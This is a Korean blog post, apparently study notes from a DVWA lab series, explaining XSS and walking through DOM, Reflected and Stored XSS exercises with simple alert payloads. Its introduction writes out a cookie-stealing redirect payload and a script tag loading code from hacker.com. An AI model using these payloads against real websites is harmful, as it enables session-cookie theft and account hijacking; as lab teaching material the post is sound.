SMALL
자바스크립트
- 웹 애플리케이션에서 사용되는 언어
- HTML : 텍스트, 이미지 등 정적인 내용을 표시
- 자바스크립트 : 동적인 기능 구현(예. 마우스를 가져가면 메뉴의 색이 변함)
- <script>스크립트코드</script>와 같이 구현
- <script>document.location='http:~/cookie?'+document.cookie</script>
- <script src=http://hacker.com/bad.js></script>
XSS 공격이란?
- 클라이언트 쪽의 웹브라우저를 공격하는 기법
- <script>와 같은 입력값이 그대로 웹페이지에 표시되면 위험
- 자바스크립트를 이용해 세션쿠기를 탈취
- 공격기법
- DOM XSS 공격
- DOM(Document Object Model)은 W3C 표준으로 HTML 및 XML 문서에 접근방법을 표준으로 정의하는 문서객체 모델이다.
- W3C에서는 '프로그램 및 스크립트가 문서의 컨텐츠, 구조 및 형식을 동적으로 접근 및 업데이트할 수 있도록 하는 언어 중립적인 인터페이스'라고 정의 되어 있다.
- DOM 객체를 포함하는 자바스크립트 등을 이용하여 DOM데이터 접근 시 검증 되지 않은 입력 값이 자바 스크립트를 통해 삽입되어 발생하는 취약점.
- 차이점이라고하면 DOM 기반 XSS는 서버와 관계없이 브라우저에서 발생하는 것이다.
(출처:인프런/화이트해커가-되기위한-8가지)
DVWA 실습
DOM
(Low)
소스코드는 다음과 같다. 이부분을 우회 해야 한다.
'default=' 다음 부분부터 공격코드가 들어가면 된다고 한다.
페이로드를 확인해 주기 위해 'English'를 Select 해주어 URL을 확인해 준다.
// ?default= 뒤부분에
#<scipt>alert(123)</script>
#<script>alert(document.cookie)</script>
그런다음 URL에 #을 넣어주어 경고 상자를 표시 할 수 있다. # 문자 뒤에 모든 것이 브라우저에서 쿼리의 일부로 처리되지 않고 조각으로 처리되므로 서버에 전송되지 않는다.
성공~
Reflected
(Low)
이름을 입력하는 폼이 나온다.
소스코드를 읽어보니 get방식으로 name을 읽어와서 출력해주고 있다.
<script>alert(123)</script>
<img src=aa onerror="alert('aa')">
<script>alert(document.cookie)</script>
여기에 어떠한 보호기법도 없기 때문에 간단하게 공격을 해보았다.
alert문이 성공적으로 뜨는 것을 확인해 볼 수 있었다.
Stored
(Low)
이렇게 게시글을 올리는 폼이 있다. 소스코드에는 특별한 것이 보이지 않기 때문에 넘기고 바로 글을 올려 보았다.
정상적으로 들어왔을때의 모습이다. 하지만 스크립트문을 메세지에 넣어본다면?
<script>alert(123)</script>
<img src=aa onerror="alert('aa')">
<script>alert(document.cookie)</script>
이렇게 게시글등록과 동시에 alert가 뜨는것을 확인해 볼 수 있었다.
'Network > DVWA' 카테고리의 다른 글
Exercise 12. JavaScript (0) | 2019.08.09 |
---|---|
Exercise 11. CSP Bypass (0) | 2019.08.09 |
Exercise 9. Weak Session IDs (0) | 2019.08.09 |
Exercise 8. SQL Injection (Blind) (0) | 2019.08.08 |
Exercise 7. SQL Injection (0) | 2019.08.08 |